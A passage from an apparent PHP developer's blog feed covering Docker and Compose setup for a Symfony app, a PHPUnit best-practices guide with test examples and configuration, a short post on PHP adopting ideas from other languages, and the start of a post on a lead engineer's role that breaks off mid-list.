docker run --rm -it -v "$(PWD)":/app app symfony composer install -o

# Run symfony's console
docker run --rm -it -v "$(PWD)":/app -e APP_ENV=prod app symfony console

# Run PHPUnit, phpstan, PHP CS Fixer
docker run --rm -it -v "$(PWD)":/app app symfony php vendor/bin/phpunit
docker run --rm -it -v "$(PWD)":/app app symfony php vendor/bin/phpstan analyze
docker run --rm -it -v "$(PWD)":/app app symfony php vendor/bin/php-cs-fixer check --verbose
docker run --rm -it -v "$(PWD)":/app app symfony php vendor/bin/php-cs-fixer fix --verbose

# Start Symfony CLI's web server
docker run --rm -it -v "$(PWD)":/app -p 8000:8000 app symfony server:start --port=8000 --host=0.0.0.0
</code></pre>

<h2 id="dockerignore">Dockerignore</h2>

<p>When using <code>COPY . .</code> in <code>Dockerfile</code>, it's useful to limit what's going to be copied, with a <code>.dockerignore</code>:</p>

<pre><code>## composer
vendor

## git
.git/

## friendsofphp/php-cs-fixer
.php-cs-fixer.php
.php-cs-fixer.cache

## phpstan/phpstan
phpstan.neon

## phpunit/phpunit
phpunit.xml
.phpunit.cache

## symfony/framework-bundle
.env.local
.env.local.php
.env.*.local
var/cache/
var/log/
</code></pre>

<h2 id="compose">Compose</h2>

<p>When the PHP application relies on other services,
such as a database (eg PostgreSQL), search engine (eg Elasticsearch), or message queue (eg RabbitMQ),
having a <code>compose.yaml</code> file will make the development experience much smoother
by handling services, networking, and volumes automatically:</p>

<pre><code class="yaml">services:
  app:
    build: .
    # Mount current directory into container for live code changes
    volumes:
      - .:/app
    # Database should be started first
    depends_on:
      - db
    ports:
      - "8000:8000"
    command: symfony serve --no-tls --port=8000 --listen-ip=0.0.0.0

  db:
    image: postgres:${POSTGRES_VERSION:-16}-alpine
    environment:
        POSTGRES_DB: ${POSTGRES_DB:-app}
        POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-ChangeMe}
        POSTGRES_USER: ${POSTGRES_USER:-app}
    # Persist database data between container restarts
    volumes:
      - db-data:/var/lib/postgresql/data:rw
    # Port mapping to avoid conflict with locally running PostgreSQL
    ports:
      - "5433:5432"

# Define the db-data volume used above
volumes:
  db-data:
</code></pre>

<p>Now usage commands will be a bit different:</p>

<pre><code class="console"># Build docker images
docker compose build --pull
# Start services (no logs)
docker compose up --detach
# Show live logs
docker compose logs --tail=0 --follow
# Stop services
docker compose down --remove-orphans

# Run with interactive shell
docker compose exec app bash

# Run composer
docker compose exec app symfony composer

# Run symfony's console
docker compose exec -e APP_ENV=prod app symfony console

# Run PHPUnit, phpstan, PHP CS Fixer
docker compose exec -e APP_ENV=prod app symfony php vendor/bin/phpunit
docker compose exec -e APP_ENV=prod app symfony php vendor/bin/phpstan analyze
docker compose exec -e APP_ENV=prod app symfony php vendor/bin/php-cs-fixer check --verbose
docker compose exec -e APP_ENV=prod app symfony php vendor/bin/php-cs-fixer fix --verbose
</code></pre>

<h2 id="going-further">Going further</h2>

<h3 id="sqlite">SQLite</h3>

<p>To setup SQLite, you'll need to modify <code>Dockerfile</code>:</p>

<pre><code>RUN apk add --update --no-cache \
    ...
    sqlite \
    &amp;&amp; docker-php-ext-install \
    ...
    pdo_sqlite
</code></pre>

<p>As well as <code>compose.yaml</code>:</p>

<pre><code class="yaml">services:
    app:
        ...
        volumes:
            ...
            # Mount SQLite database directory to persist data
            - sqlite-data:/app/var/data

volumes:
    ...
    sqlite-data:
</code></pre>

<p>This is assuming your SQLite database file is located in the projects' <code>var/data</code> folder.</p>

<p>Make sure to set up the following environment varaible in <code>.env</code>:</p>

<pre><code>DATABASE_URL="sqlite:///%kernel.project_dir%/var/data/database.sqlite"
</code></pre>

<h3 id="rabbitmq">RabbitMQ</h3>

<p>For RabbitMQ, modify <code>Dockerfile</code>:</p>

<pre><code>RUN apk add --update --no-cache \
    ...
    rabbitmq-c-dev \
    &amp;&amp; docker-php-ext-install \
    ...
    sockets \
    &amp;&amp; pecl install amqp \
    &amp;&amp; docker-php-ext-enable amqp
</code></pre>

<p>Also <code>compose.yaml</code>:</p>

<pre><code class="yaml">services:
    app:
        ...
        depends_on:
            ...
            - rabbitmq

    rabbitmq:
        image: rabbitmq:${RABBITMQ_VERSION:-3.13}-management-alpine
        environment:
            RABBITMQ_DEFAULT_USER: ${RABBITMQ_USER:-app}
            RABBITMQ_DEFAULT_PASS: ${RABBITMQ_PASSWORD:-ChangeMe}
        # Persist RabbitMQ data between container restarts
        volumes:
            - rabbitmq-data:/var/lib/rabbitmq:rw
        ports:
            # Port mapping to avoid conflict with locally running RabbitMQ
            - "5673:5672"
            # Management UI port
            - "15673:15672"

volumes:
    ...
    rabbitmq-data:
</code></pre>

<p>Again, make sure to set up the following environment varaible in <code>.env</code>:</p>

<pre><code>RABBITMQ_URL="amqp://app:ChangeMe@rabbitmq:5672/"
</code></pre>

<p>The RabbitMQ management interface will be available at http://localhost:15673,
with the credentials defined in the environment variables.</p>

<h2 id="maintenance">Maintenance</h2>

<p>Here's a list of helpful commands to maintain the images and containers:</p>

<ul>
<li><code>docker images</code>: lists images

<ul>
<li><code>docker images --filter dangling=true</code>: lists untagged / unused images</li>
</ul></li>
<li><code>docker container ls</code>: lists running containers

<ul>
<li><code>docker container ls -a</code>: lists running and stopped containers</li>
</ul></li>
<li><code>docker system prune</code>: removes dangling containers, networks and images

<ul>
<li><code>docker system prune --volumes</code>: removes dangling containers, networks, volumes and images</li>
</ul></li>
<li><code>docker history &lt;image&gt;</code>: Inspects layers of an image</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>With this, we can finally write bugs once, and run them everywhere!</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[PHPUnit Best Practices (Ultimate Guide)]]></title>
            <link href="/2025/07/31/phpunit-best-practices.html"/>
            <updated>2025-07-31T00:00:00+01:00</updated>
            <id>/2025/07/31/phpunit-best-practices.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Edit</strong>: brought up to date on 2026-02-27.</p>
</blockquote>

<p>Forge battle-tested code, under the hammer of PHPUnit.</p>

<ul>
<li><a href="#unit-tests">Unit Tests</a>

<ul>
<li><a href="#factory-methods">Factory Methods</a></li>
<li><a href="#attributes">Attributes</a></li>
<li><a href="#data-providers">Data Providers</a></li>
<li><a href="#testdox">Testdox</a></li>
<li><a href="#coding-standards">Coding Standards</a></li>
<li><a href="#principles">Principles</a></li>
</ul></li>
<li><a href="#mocking">Mocking</a></li>
<li><a href="#integration-tests">Integration Tests</a>

<ul>
<li><a href="#smoke-tests">Smoke Tests</a></li>
</ul></li>
<li><a href="#useful-cli-options">Useful CLI options</a>

<ul>
<li><a href="#configuration">Configuration</a></li>
</ul></li>
<li><a href="#resources">Resources</a></li>
</ul>

<h2 id="unit-tests">Unit Tests</h2>

<p>Here's a unit test for a <code>Username</code> value object:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

namespace App\Tests\Unit;

use PHPUnit\Framework\Attributes\CoversClass;
use PHPUnit\Framework\Attributes\DataProvider;
use PHPUnit\Framework\Attributes\Small;
use PHPUnit\Framework\Attributes\TestDox;
use PHPUnit\Framework\TestCase;

#[CoversClass(Username::class)]
#[Small]
final class UsernameTest extends TestCase
{
    private function username(string $value = 'Merlin'): Username
    {
        return Username::fromString($value);
    }

    #[TestDox('It can be converted from/to string')]
    public function test_it_can_be_converted_from_and_to_string(): void
    {
        $this-&gt;assertSame('Merlin', $this-&gt;username()-&gt;toString());
    }

    #[DataProvider('invalidUsernameProvider')]
    #[TestDox('It fails when raw username $scenario')]
    public function test_it_fails_when_raw_username_is_invalid(
        string $scenario,
        string $invalidUsername,
    ): void {
        $this-&gt;expectException(ValidationFailedException::class);
        $this-&gt;username($invalidUsername);
    }

    /**
     * @return \Iterator&lt;array{
     *     scenario: string,
     *     invalidUsername: string,
     * }&gt;
     */
    public static function invalidUsernameProvider(): \Iterator
    {
        yield ['scenario' =&gt; 'is empty', 'invalidUsername' =&gt; ''];
        yield ['scenario' =&gt; 'is too short (&lt; 4 characters)', 'invalidUsername' =&gt; 'abc'];
        yield ['scenario' =&gt; 'is too long (&gt; 15 characters)', 'invalidUsername' =&gt; 'abcdefghijklmnop'];
    }
}
</code></pre>

<h3 id="factory-methods">Factory Methods</h3>

<p>Prefer private factory methods over <code>setUp()</code> to create the System Under Test (SUT):</p>

<ul>
<li><code>setUp()</code> runs before every test, even those that don't need it</li>
<li>test class properties, once instantiated, are kept in memory until the end of the testsuite run</li>
<li>factory methods use local variables that are freed after each test</li>
</ul>

<blockquote>
  <p><strong>Warning</strong>: PHPUnit creates one instance of each test class per test method
  and per data provider row, and keeps them all in memory until the testsuite completes.</p>
</blockquote>

<h3 id="attributes">Attributes</h3>

<p>Attributes (<code>#[&lt;Name&gt;]</code>) were introduced in PHP 8 and PHPUnit 10,
they replace Annotations (PHPdoc <code>@&lt;Name&gt;</code>) which have been deprecated in PHPUnit 10
and removed in PHPUnit 12.</p>

<p>Their goal is to make PHP tooling more robust and IDE integration more reliable, use them!</p>

<p><strong>Specify targeted class</strong>:</p>

<ul>
<li><code>#[CoversClass]</code>: enforces proper test boundaries, prevents accidental coverage,
and makes the intent clearer both to the readers and tools
(code coverage, static analysis, etc)</li>
<li><code>#[UsesClass]</code>: if code from other classes is expected to be used</li>
</ul>

<p><strong>Categorize tests</strong> based on their scope, complexity and resource usage:</p>

<ul>
<li><code>#[Small]</code> for testing individual components in isolation (unit),
fast execution (typically under 100ms)</li>
<li><code>#[Medium]</code> for testing multiple components together in isolation (integration),
moderate execution (typically under 1s)</li>
<li><code>#[Large]</code> for complete workflows (end to end),
slow execution (over 1s)</li>
<li><code>#[Group]</code> for arbitrary categories (including temporary ones, eg <code>wip</code>)</li>
</ul>

<h3 id="data-providers">Data Providers</h3>

<p><strong>Use Data Providers</strong> to test different sets of inputs / outputs:</p>

<ul>
<li><code>#[DataProvider(string $publicStaticMethodName)]</code>
for a method in the test class</li>
<li><code>#[DataProviderExternal(string $className, string $publicStaticMethodName)]</code>
for a method in a different class from the test one</li>
<li><code>#[TestWith(array $data)]</code>
to provide one set at a time, without having to declare a static method</li>
</ul>

<h3 id="testdox">Testdox</h3>

<p><strong>Run PHPUnit with <code>--testdox</code> option</strong> to get executable specifications:</p>

<ul>
<li><code>#[TestDox(string $text)]</code>
to customize what PHPUnit will display</li>
</ul>

<p>Use <code>\Iterator</code> with <code>yield</code> and named parameters for readable data providers,
combined with <code>#[TestDox]</code> and a <code>$scenario</code> variable
(as shown in the <code>UsernameTest</code> example above).</p>

<p>Output with <code>--testdox</code>:</p>

<pre><code>Username
 ✔ It can be converted from/to string
 ✔ It fails when raw username is empty
 ✔ It fails when raw username is too short (&lt; 4 characters)
 ✔ It fails when raw username is too long (&gt; 15 characters)
</code></pre>

<h3 id="coding-standards">Coding Standards</h3>

<p><strong>Follow Coding Standards</strong> to ensure consistency across the PHP ecosystem,
and internal projects:</p>

<ul>
<li><a href="https://www.php-fig.org/psr/psr-4/">PSR-4</a> for file, namespace and class names</li>
<li><a href="https://www.php-fig.org/psr/psr-12/">PSR-12</a> for the rest</li>
<li>discuss, agree and enforce coding styles in your team
eg using <a href="https://cs.symfony.com/">PHP CS Fixer</a></li>
</ul>

<p><em>Here are examples of topics you can debate</em>:</p>

<ul>
<li><strong>Enforce strict types declaration</strong> (<code>declare(strict_types=1)</code>)
to prevent type coercion bugs that can cause tests to pass when they shouldn't</li>
<li><strong>Make test classes final</strong> 
as they should never be extended from</li>
<li><strong>Use visibility and type hint keywords</strong> 
for future-proofing against language changes</li>
<li><strong>Follow snake case for test method names</strong>
so they read as text, with underscores representing spaces</li>
<li><strong>Use <code>$this</code> over <code>self</code></strong>
to call PHPUnit assertions</li>
<li><strong>Use <code>#[Test]</code> attribute and <code>it_</code> prefix</strong>
to help name test methods in an articulate way</li>
</ul>

<h3 id="principles">Principles</h3>

<p>FIRST properties of Unit Tests, they should be:</p>

<ul>
<li><strong>Fast</strong>: to provide a short feedback loop</li>
<li><strong>Isolated</strong>: one test failure shouldn't impact another test</li>
<li><strong>Repeatable</strong>: the outcome of a test should be consistent over time</li>
<li><strong>Self-validating</strong>: automated test should fail or pass for the right reason</li>
<li><strong>Timely</strong>: write the test around the time the code was written, not long after (but ideally before)</li>
</ul>

<p>Follow <a href="https://wiki.c2.com/?ArrangeActAssert">AAA</a>,
each test method should group these functional sections, separated by blank lines:</p>

<ol>
<li><strong>Arrange</strong>: all necessary preconditions and input</li>
<li><strong>Act</strong>: on the System Under Test (SUT)</li>
<li><strong>Assert</strong>: that the expected results have occurred</li>
</ol>

<p>Not necessarily in that order (eg when testing exceptions: Arrange, Expect, Act).</p>

<p><a href="https://wiki.c2.com/?DontRepeatYourself">DRY</a> vs DAMP (aka WET),
it's all about finding the right balance: pick whichever is more readable,
on a case-by-case basis.</p>

<blockquote>
  <p>"DRY (Don't Repeat Yourself) increases maintainability
  by isolating change (risk) to only those parts of the system that must change.</p>
  
  <p>DAMP (Descriptive And Meaningful Phrases, <em>aka WET: We Edit Twice</em>) increases maintainability
  by reducing the time necessary to read and understand the code."</p>
  
  <p>— Chris Edwards</p>
</blockquote>

<h2 id="mocking">Mocking</h2>

<blockquote>
  <p><strong>Note</strong>: this is "In My Humble Opinion".</p>
</blockquote>

<p>There are two Test Driven Development (TDD) schools of thought:</p>

<ul>
<li><strong>Chicago / Detroit (classical)</strong>: use real objects, avoid mocks</li>
<li><strong>London (specification Behaviour Driven Development - spec BDD)</strong>:
use mocks to describe interactions between the System Under Test (SUT) and its dependencies (collaborators)</li>
</ul>

<p>The mocking library <a href="https://github.com/phpspec/prophecy">prophecy</a>'s expressive syntax
allows for an approach that's more aligned with spec BDD.
It can be used in PHPUnit with the <code>phpspec/prophecy-phpunit</code> package.</p>

<p>When the SUT creates values internally, use Argument matchers:</p>

<ul>
<li><code>Argument::type(ClassName::class)</code>: matches by type</li>
<li><code>Argument::that(static fn ($v): bool =&gt; ...)</code>: matches with a custom closure</li>
<li><code>Argument::any()</code>: matches anything</li>
</ul>

<pre><code class="php">&lt;?php

declare(strict_types=1);

namespace App\Tests\Unit;

use Prophecy\Argument;
use Prophecy\PhpUnit\ProphecyTrait;
use PHPUnit\Framework\Attributes\CoversClass;
use PHPUnit\Framework\Attributes\Small;
use PHPUnit\Framework\TestCase;

#[CoversClass(SignInPlayerHandler::class)]
#[Small]
final class SignInPlayerHandlerTest extends TestCase
{
    use ProphecyTrait;

    public function test_it_signs_in_player(): void
    {
        $username = UsernameFixture::makeString();
        $player = PlayerFixture::make();

        // Stub: configure return value
        $findPlayer = $this-&gt;prophesize(FindPlayer::class);
        $findPlayer-&gt;find(
            Argument::that(static fn (Username $u): bool =&gt; $u-&gt;toString() === $username),
        )-&gt;willReturn($player);

        // Mock: assert it gets called
        $saveAuthToken = $this-&gt;prophesize(SaveAuthToken::class);
        $saveAuthToken-&gt;save(Argument::type(AuthToken::class))
            -&gt;shouldBeCalled();

        $signInPlayerHandler = new SignInPlayerHandler(
            $findPlayer-&gt;reveal(),
            $saveAuthToken-&gt;reveal(),
        );
        $signedInPlayer = $signInPlayerHandler-&gt;run(new SignInPlayer(
            $username,
        ));

        $this-&gt;assertInstanceOf(SignedInPlayer::class, $signedInPlayer);
    }
}
</code></pre>

<h2 id="integration-tests">Integration Tests</h2>

<blockquote>
  <p>🤫 <strong>Super Secret Tip</strong>:</p>
  
  <p>PHPUnit instantiates the test class once per test method and once per data provider row.
  This is a fundamental design decision that prioritizes test isolation over performance.</p>
  
  <p>So if you have:</p>
  
  <ul>
  <li>5 regular test methods: that's 5 instances</li>
  <li>1 test method with 10 data provider rows: that's 10 instances</li>
  <li>Total: 15 instances created</li>
  </ul>
  
  <p>Why This Matters:</p>
  
  <ul>
  <li><strong>Performance</strong> : expensive <code>setUp()</code> and constructors will have a measurable impact</li>
  <li><strong>Memory Usage</strong>: Each instance holds its own state in memory until the end of the testsuite run</li>
  <li><strong>Test Isolation</strong>: Ensures no state leakage between tests (the main benefit)</li>
  </ul>
  
  <p>Since each test method creates a new instance, expensive operations compound quickly. Watch out for:</p>
  
  <ul>
  <li>repeated kernel booting</li>
  <li>database connections</li>
  <li>fixture loading (especially when Doctrine ORM Entity hydration is involved)</li>
  <li>external API calls</li>
  </ul>
  
  <p>You can use singletons for stateless services, transactions for database cleanup, and mocks for external dependencies.
  The example below uses <code>AppSingleton::get()</code> to share a stateless application instance across the entire testsuite.</p>
</blockquote>

<h3 id="smoke-tests">Smoke Tests</h3>

<blockquote>
  <p><strong>Note</strong>: this is the pragmatic approach.</p>
</blockquote>

<p>For controllers and commands, no need to mock internal dependencies
or asserting on complex business logic.</p>

<p>Just craft the input, pass it to application, and verify the status code.</p>

<p>This tests the entire request-response cycle:
routing, middleware, validation, business logic, serialization... Everything.</p>

<p>Here's an integration test for a <code>POST /api/v1/actions/sign-up-new-player</code> endpoint controller:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

namespace App\Tests\Integration\Controller;

use PHPUnit\Framework\Attributes\CoversNothing;
use PHPUnit\Framework\Attributes\Medium;
use PHPUnit\Framework\TestCase;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

#[CoversNothing]
#[Medium]
final class SignUpNewPlayerControllerTest extends TestCase
{
    public function test_it_signs_up_a_new_player(): void
    {
        $appKernel = TestKernelSingleton::get()-&gt;appKernel();

        $request = Request::create(
            uri: '/api/v1/actions/sign-up-new-player',
            method: 'POST',
            server: ['CONTENT_TYPE' =&gt; 'application/json'],
            content: json_encode([
                'username' =&gt; UsernameFixture::makeString(),
                'password' =&gt; PasswordPlainFixture::makeString(),
            ], \JSON_THROW_ON_ERROR),
        );

        $response = $appKernel-&gt;handle($request);

        $this-&gt;assertSame(Response::HTTP_CREATED, $response-&gt;getStatusCode(), (string) $response-&gt;getContent());
    }
}
</code></pre>

<p>And here's an integration test for a <code>./bin/console action:sign-up-new-player</code> CLI command:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

namespace App\Tests\Integration\Cli;

use PHPUnit\Framework\Attributes\CoversNothing;
use PHPUnit\Framework\Attributes\Medium;
use PHPUnit\Framework\TestCase;
use Symfony\Component\Console\Command\Command;

#[CoversNothing]
#[Medium]
final class SignUpNewPlayerCommandTest extends TestCase
{
    public function test_it_signs_up_a_new_player(): void
    {
        $application = TestKernelSingleton::get()-&gt;application();

        $application-&gt;run([
            'command' =&gt; 'action:sign-up-new-player',
            'username' =&gt; UsernameFixture::makeString(),
            'password' =&gt; PasswordPlainFixture::makeString(),
        ]);

        $this-&gt;assertSame(Command::SUCCESS, $application-&gt;getStatusCode());
    }
}
</code></pre>

<h2 id="useful-cli-options">Useful CLI options</h2>

<pre><code class="console">phpunit

  # Configuration:
  --generate-configuration             Generate configuration file with suggested settings
  --migrate-configuration              Migrate configuration file to current format

  # Selection:
  --list-groups                        List available test groups
  --group small                        Only run tests from the specified group(s)
  --exclude-group small                Exclude tests from the specified group(s)

  --list-tests                         List available tests
  --covers 'Username'                  Only run tests that intend to cover &lt;name&gt;
  --filter 'UsernameTest'              Filter which tests to run (test class, or test method)
  --filter 'test_it_can_be_converted_from_and_to_string'

  ## Useful for running testsuites individually, in the CI
  --list-testsuites                    List available testsuites
  --testsuite unit                     Only run tests from the specified testsuite(s)
  --exclude-testsuite unit             Exclude tests from the specified testsuite(s)

  # Execution
  --stop-on-failure                    Stop after first failure
  --order-by &lt;order&gt;                   Run tests in order: default|defects|depends|duration|no-depends|random|reverse|size

  # Reporting
  --no-progress                        Disable output of test execution progress (the dots)
  --testdox                            Replace default result output with TestDox format
</code></pre>

<blockquote>
  <p><strong>Order By options</strong>:</p>
  
  <ul>
  <li><code>default</code>: tests run in the order they're discovered
  (filesystem order, typically alphabetical)</li>
  <li><code>defects</code>: previously failed/errored tests run first
  (requires <code>--cache-result</code> to remember past failures)</li>
  <li><code>depends</code>: tests with dependencies run after their dependencies, non-dependent tests run first</li>
  <li><code>duration</code>: fastest tests run first, slowest tests run last
  (requires <code>--cache-result</code> to remember execution times)</li>
  <li><code>no-depends</code>: ignores test dependencies and runs tests in discovery order</li>
  <li><code>random</code>: tests run in random order
  (use <code>--random-order-seed &lt;N&gt;</code> for reproducible randomness)</li>
  <li><code>reverse</code>: tests run in reverse discovery order</li>
  <li><code>size</code>: tests run by size: <code>#[Small]</code>, then <code>#[Medium]</code>, after <code>#[Large]</code>, and finally unsized tests</li>
  </ul>
  
  <p><em>Worth noting</em>:</p>
  
  <ul>
  <li>Combining options: <code>--order-by=depends,defects</code></li>
  </ul>
</blockquote>

<h3 id="configuration">Configuration</h3>

<pre><code class="xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!-- https://phpunit.readthedocs.io/en/latest/configuration.html --&gt;
&lt;phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="vendor/phpunit/phpunit/phpunit.xsd"
         bootstrap="tests/bootstrap.php"

         cacheDirectory=".phpunit.cache"
         executionOrder="depends,defects"
         requireCoverageMetadata="true"
         beStrictAboutCoverageMetadata="true"
         beStrictAboutOutputDuringTests="true"
         displayDetailsOnPhpunitDeprecations="true"
         failOnPhpunitDeprecation="true"
         failOnRisky="true"
         failOnWarning="true"

         shortenArraysForExportThreshold="10"
         colors="true"
&gt;
    &lt;php&gt;
        &lt;!-- Useful for CI environments --&gt;
        &lt;ini name="display_errors" value="1" /&gt;
        &lt;ini name="error_reporting" value="-1" /&gt;

        &lt;!-- Useful for Symfony --&gt;
        &lt;env name="KERNEL_CLASS" value="App\Kernel" /&gt;
        &lt;env name="APP_ENV" value="test" force="true" /&gt;
        &lt;env name="APP_DEBUG" value="0" force="true" /&gt;
        &lt;env name="SHELL_VERBOSITY" value="-1" /&gt;
    &lt;/php&gt;

    &lt;testsuites&gt;
        &lt;testsuite name="unit"&gt;
            &lt;directory&gt;tests/Unit&lt;/directory&gt;
        &lt;/testsuite&gt;
        &lt;testsuite name="integration"&gt;
            &lt;directory&gt;tests/Integration&lt;/directory&gt;
        &lt;/testsuite&gt;
    &lt;/testsuites&gt;

    &lt;source
        ignoreIndirectDeprecations="true"
        restrictNotices="true"
        restrictWarnings="true"
    &gt;
        &lt;include&gt;
            &lt;directory&gt;src&lt;/directory&gt;
        &lt;/include&gt;
    &lt;/source&gt;
&lt;/phpunit&gt;
</code></pre>

<blockquote>
  <p><strong>Notes</strong>:</p>
  
  <ul>
  <li><code>bootstrap</code> defaults to <code>vendor/autoload.php</code></li>
  <li><code>shortenArraysForExportThreshold</code> defaults to <code>0</code> from v11.3 and <code>10</code> from v12</li>
  <li><code>colors</code> defaults to <code>false</code>, for automated/scripted environment compatibility</li>
  </ul>
</blockquote>

<h2 id="resources">Resources</h2>

<ul>
<li><a href="https://www.youtube.com/watch?v=qwRdnoeq1H8">So you think you know PHPUnit - Sebastian Bergmann - PHPDD2024</a> (<a href="https://phpunit.expert/articles/phpunit-features-that-surprise-even-professionals.html">article</a>)</li>
<li><a href="https://www.youtube.com/watch?v=wR6YflVkAt4">Optimizing Your Test Suite - Sebastian Bergmann - PHP fwdays 2021</a></li>
<li><a href="https://github.com/sebastianbergmann/raytracer/">Sebastian's raytracer project</a></li>
<li><a href="https://www.youtube.com/watch?v=d3qXBEBNjHc">Testing with(out) dependencies - Sebastian Bergmann</a> (<a href="https://phpunit.expert/articles/testing-with-and-without-dependencies.html">article</a>)</li>
<li><a href="https://phpunit.expert/articles/testing-with-data-transfer-objects-and-value-objects.html">Testing with DTOs and Value Objects - Sebastian Bergmann</a></li>
<li><a href="https://phpunit.expert/articles/how-i-manage-test-fixture.html">How I manage test fixture - Sebastian Bergmann</a></li>
<li><a href="https://thephp.cc/articles/do-not-mock-what-you-do-not-own">Do Not Mock What You Do Not Own - Sebastian Bergmann</a></li>
<li><a href="https://phpunit.de/documentation.html">PHPUnit documentation</a></li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[PHP devs are Pirates]]></title>
            <link href="/2025/01/06/php-devs-are-pirates.html"/>
            <updated>2025-01-06T00:00:00+00:00</updated>
            <id>/2025/01/06/php-devs-are-pirates.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: Arrr, PHP be a cunning pirate, pilferin' ideas from other languages to stay ahead o' the fleet.
  'Tis true, PHP is no bonny innovator, but it be masterful at plunderin' and adaptin' features,
  keepin' its sails full and its reputation mighty in the tech seas.</p>
  
  <p><a href="https://web.archive.org/web/20120430232221/http://blog.astrumfutura.com/2012/04/php-innocent-villagefolk-or-a-pillagin-pirate/">Pádraic Brady. 2012. PHP: a Pillagin Pirate</a></p>
</blockquote>

<p>PHP has a long history of adopting, porting, and emulating successful ideas and
tools from other technologies, often resulting in robust implementations that
fit the PHP ecosystem.</p>

<p>Here are some examples:</p>

<ul>
<li><a href="https://rspec.info/">RSpec</a> (Ruby)
to <a href="https://phpspec.net/en/stable/">phpspec</a> (2007)</li>
<li><a href="https://jinja.palletsprojects.com/en/stable/">Jinja</a> (Python)
to <a href="https://twig.symfony.com/">Twig</a> (2009)</li>
<li><a href="https://spring.io/">Spring</a> (Java)
to <a href="https://symfony.com/">Symfony</a> (2011 -- that's the release of v2.0)</li>
<li><a href="https://nodejs.org/en">Node.js</a> (javascript)
to <a href="https://reactphp.org/">ReactPHP</a> (2012)</li>
</ul>

<p>Those are old and established examples, but as long as there are creative PHP
developers out there, there'll still be more treasures to purloin.</p>

<p>For example, I've recently stumbled upon <a href="https://www.dantleech.com/about/">Dan Leech</a>'s
port of <a href="https://ratatui.rs/">Ratatui</a> (Rust):
<a href="https://www.dantleech.com/blog/2023/11/03/php-tui-progress/">PHP-tui</a> (2024).</p>

<p>There are no reasons to stop there.</p>

<p>So, what's the next innovation? What other brand new and shiny
(or ancient and rusty) idea can we, PHP Pirates, bring to our colourful
ecosystem?</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[My role as a Lead PHP Engineer]]></title>
            <link href="/2024/12/09/my-role-as-a-lead-php-engineer.html"/>
            <updated>2024-12-09T00:00:00+00:00</updated>
            <id>/2024/12/09/my-role-as-a-lead-php-engineer.html</id>
            <content type="html"><![CDATA[<h2 id="about-me">About me</h2>

<p>In September 2014, I left SensioLabs (the creator of the Symfony Framework)
to work as a PHP/Symfony Developer at Foodity, a London start-up that created
a service allowing people to add ingredients from online recipes to the basket
of the retailer of their choice.</p>

<p>After 9 months, I pitched an idea to the CEO: we had a platform that
theoretically allowed us to add <em>ANY</em> product to the basket, not just food
items. We called it Smart Product.</p>

<p>So I was given the opportunity to build a Proof of Concept. Once completed and
launched it proved successful and was promoted "Lead PHP Engineer" in charge
of a small team to develop it further.</p>

<p>And so in June 2015, Foodity pivoted and became Constant Commerce, with Smart
Product being one of its main product.</p>

<p>Later, in August 2018, the start-up pivoted again and became Constant.Co: my
team and I were given the responsibility to design and develop the API for its
new main product: Landing Space.</p>

<p>This article is about my role as a Lead PHP Engineer during that time, and what
my job and responsibilities were about, on a day to day basis.</p>

<h2 id="responsibilities">Responsibilities</h2>

<p>As a lead developer, my responsibilities were:</p>

<ul>
<li>Develop the different endpoints using PHP, Symfony and PostgreSQL</li>
<li>Lead, mentor, and manage a team of backend developers (junior and senior)</li>
<li>Ensure code quality, maintainability, and best practices through
code reviews, testing (TDD), and continuous integration processes</li>
<li>Oversee the design, development and deployment of the backend APIs</li>
<li>Collaborate with cross-functional teams, including Sales, Product,
Frontend, Other API teams, QA, Content and DevOps</li>
</ul>

<h2 id="agile-methodology">Agile Methodology</h2>

<p>The company as a whole would work through Cycles: each Cycle is 6 week long,
and contains 3 sprints (2 week sprints).</p>

<p>Prior to the Cycle (ie during the previous cycle), the CEO, Sales and Product
would flesh out a milestone to achieve. Meetings between the CEO, Sales,
Product, Technical Leads and QA would be held to identify the user stories and
their acceptance criteria.</p>

<p>As a Lead Developer, my role in this meeting was to assess the feasibility of
the features described, evaluate how the new requirements would affect the
existing code base (ie is this already implemented, management of the technical
debt, etc) and provide technical guidance.</p>

<p>Architecture meetings between Product, Technical Leads and QA would be held to
write technical specifications.</p>

<p>As a Lead Developer, my role in this meeting was to collaborate with other
teams on how to best integrate the different systems, document the
requirements, identify and resolve performance bottlenecks, security
vulnerabilities, and other technical issues.</p>

<p>When the Cycle starts, so does the first Sprint: a Sprint Planning meeting is
held between Product, the technical teams and QA, where User Stories are picked
from the backlog and given an estimated Complexity Points, and assigned to
developers. Once the Team Capacity is reached, based on previous Velocity, then
the development can start.</p>

<h2 id="test-driven-development">Test Driven Development</h2>

<p>I'd start by picking a ticket and moving it to "In Progress".</p>

<p>I'd then write an integration test that fits to one of the User Story's
Acceptance Criteria. Usually the first test is about a "Happy Scenario": what
we expect. following tests would be about "Unhappy Scenario" and trying to
identify edge cases. Then run them to make sure they fails for the right
reasons (ie because the code isn't written yet).</p>

<p>Next I'd write a unit test. Run it to make sure it fails for the right reason.</p>

<p>After that I'd write the code for that test. And run the test suite to make
sure it fulfils the new requirements without breaking the previous ones.</p>

<p>Once the tests pass, I can add new scenarios to my test suite, and start
the process again, until everything is covered, and only then I'd also consider
refactoring the code to ensure the maintainability of the project.</p>

<p>Finally, I can commit my work with a detailed message, push, create a
Pull Request and assign it to someone for Code Review.</p>

<p>The ticket can now be moved to "Code Review".</p>

<p>I take this opportunity to check if there are any open Pull Requests waiting
for me to review them.</p>

<h2 id="code-review">Code Review</h2>

<p>First thing I do when reviewing a Pull Request is check the corresponding
ticket to get familiar with the problem that it tries to solve.</p>

<p>I'd then pull the code to my local machine, execute the test suite and
launch the application to navigate it and try the feature first hand.</p>

<p>Next, I have a look at the code, with the objective to answer these three
questions:</p>

<ul>
<li>does the code work?</li>
<li>does the code make sense?</li>
